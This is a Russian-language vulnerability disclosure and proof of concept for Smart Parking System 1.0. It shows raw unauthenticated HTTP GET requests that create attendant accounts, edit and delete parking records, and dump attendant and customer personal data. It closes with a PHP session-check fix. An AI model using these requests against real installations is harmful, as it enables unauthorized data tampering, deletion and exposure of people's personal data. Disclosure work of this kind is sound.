
Доказательство концепции, демонстрирующее неаутентифицированный доступ к критическим административным функциям в Smart Parking System 1.0, позволяющий создание учётных записей, манипуляцию данными и раскрытие персональных данных (PII).
| Поле | Детали |
|---|
| Продукт | Smart Parking System |
| Поставщик | code-projects.org |
| Версия | 1.0 |
| Класс уязвимости | Отсутствие аутентификации для критической функции (CWE-306) |
| Идентификатор CVE | Ожидается |
| Оценка CVSS | 9.8 Критическая (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Требуется аутентификация | Нет |
| Затронутые файлы | attendant.php, edit.php, basic_table.php, basic_table2.php, admin_request.php |
Smart Parking System 1.0 от code-projects.org не обеспечивает аутентификацию на нескольких конечных точках, доступных только администратору. Неаутентифицированный удалённый злоумышленник может напрямую обращаться к этим конечным точкам без файла cookie сеанса и выполнять привилегированные операции, включая создание учётных записей дежурных, редактирование и удаление записей о парковке, а также просмотр всех персональных данных клиентов и данных о бронировании.
Для эксплуатации этой уязвимости не требуются учётные данные, токен сеанса или взаимодействие с каким-либо легитимным пользователем.
Нет учётных данных / нет сеанса
↓
Прямой GET-запрос к административным конечным точкам
↓
attendant.php → создание поддельных учётных записей дежурных
edit.php → чтение и перезапись любой записи о парковке
basic_table.php → удаление любой записи о парковке
basic_table2.php → выгрузка всех персональных данных дежурных
admin_request.php → выгрузка всех электронных писем клиентов и данных о бронировании
↓
Полная компрометация административных функций
Откройте новый сеанс браузера без файлов cookie. Перейдите к корню приложения. Отображается страница входа, что подтверждает отсутствие активного сеанса:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/ HTTP/1.1
Host: 192.168.0.9
Перейдите напрямую к конечной точке регистрации дежурных:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/attendant.php HTTP/1.1
Host: 192.168.0.9
Результат: Загружается полная форма «Add Parking Attendant Details» с полями для имени, фамилии, номера мобильного телефона, улицы, имени пользователя и пароля. Злоумышленник может зарегистрировать поддельную учётную запись дежурного с доступом к системе.
Перейдите напрямую к конечной точке редактирования записей о парковке:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//edit.php?edit=5 HTTP/1.1
Host: 192.168.0.9
Результат: Загружается форма «Update Parkings Details», предварительно заполненная актуальными значениями из базы данных:
City: Mombasa
Street: Tudor
Slots: 150
Cost: 500
Злоумышленник может перезаписать любое поле и отправить форму, чтобы сохранить изменения непосредственно в базе данных.
Отправьте прямой GET-запрос к конечной точке удаления:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/basic_table.php?delete=4 HTTP/1.1
Host: 192.168.0.9
Результат: Приложение отвечает:
Parking deleted successfully
Запись безвозвратно уничтожается в базе данных. Не требуется ни аутентификация, ни CSRF-токен, ни запрос подтверждения.
Перейдите напрямую к конечной точке списка дежурных:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//basic_table2.php HTTP/1.1
Host: 192.168.0.9
Результат: Возвращается полный список дежурных, включая имена, номера мобильных телефонов и закреплённые улицы:
karis kelvin 070824555 msa
king doshi 0708009360 Nairobi
james peter 0708009360 vol
tset test 0708009360 tset
Перейдите напрямую к конечной точке административных запросов на бронирование:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//admin_request.php HTTP/1.1
Host: 192.168.0.9
Результат: Возвращаются все записи о бронировании клиентов, включая электронные письма, слоты, часы и стоимость:
[email protected] slots:4 hours:2 cost:4000 status:requested
[email protected] slots:1 hours:6 cost:1200 status:Completed
[email protected] slots:1 hours:2 cost:1000 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:3 cost:0 status:requested
[email protected] slots:1 hours:2 cost:1000 status:requested
| Файл | Уязвимость |
|---|---|
attendant.php | Неаутентифицированное создание учётных записей дежурных |
edit.php | Неаутентифицированный доступ на чтение/запись к записям о парковке |
basic_table.php | Неаутентифицированное удаление записей о парковке |
basic_table2.php | Неаутентифицированный доступ к полным персональным данным дежурных |
admin_request.php | Неаутентифицированный доступ ко всем данным о бронировании клиентов |
Добавьте проверку аутентификации сеанса в начало каждого PHP-файла, ориентированного на администратора:
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: index.php");
exit();
}